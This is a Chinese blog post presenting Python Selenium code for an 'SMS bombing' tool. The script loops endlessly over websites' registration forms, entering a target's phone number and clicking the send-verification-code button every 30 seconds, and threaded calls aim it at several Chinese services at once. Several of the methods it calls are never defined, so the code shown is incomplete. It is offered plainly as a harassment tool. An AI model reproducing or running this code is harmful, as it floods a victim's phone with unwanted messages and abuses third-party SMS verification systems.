Python短信轰炸的代码

时间:2021-05-22

环境 python3.0

工具 pycharm

谷歌插件chromedriver

程序执行方法

from selenium import webdriverimport timefrom threading import Threadclass HongZha(object): def __init__(self): self.phone = "xxxxx"#你要轰炸的电话号码 self.num = 0 def send_yzm(self,button,name): button.click() self.num+=1 print("{} 第{}次 发送成功 {}".format(self.phone,self.num,name)) time.sleep(30) def zhihu(self,name): while True:#下面这行是刚刚叙说的chromedrive的安装路径 driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe") driver.get("https:///passport/register_input.do" ) driver.find_element_by_xpath ( "//input[@id='userName']" ).send_keys("我的女神daadaamnabajhdja") tel = driver.find_element_by_xpath ( "//input[@id='phone']" ) tel.send_keys ( self.phone ) time.sleep(2) button = driver.find_element_by_xpath ( "//a[@class='receive_code fl same_code_btn r_disable_code ']" ) #button.click() time.sleep(1) self.send_yzm ( button,name ) driver.quit ()

执行放发

from threading import Threadfrom sendPhon import HongZhahongzha = HongZha()zhihu = Thread(target=hongzha.zhihu,args=("知乎",))guazi = Thread ( target=hongzha.guazi,args=("瓜子",))wphui = Thread(target=hongzha.wphui,args=("唯品会",))suning = Thread(target=hongzha.suning,args=("苏宁",))yhd= Thread( target=hongzha.yhd,args=("一号店",))zhihu.start()guazi.start()wphui.start()suning.start()yhd.start()

总结

到此这篇关于Python短信轰炸的代码的文章就介绍到这了,更多相关Python短信轰炸内容请搜索以前的文章或继续浏览下面的相关文章希望大家以后多多支持!

声明:本页内容来源网络,仅供用户参考;我单位不保证亦不表示资料全面及准确无误,也不保证亦不表示这些资料为最新信息,如因任何原因,本网内容或者用户因倚赖本网内容造成任何损失或损害,我单位将不会负任何法律责任。如涉及版权问题,请提交至online#300.cn邮箱联系删除。

相关文章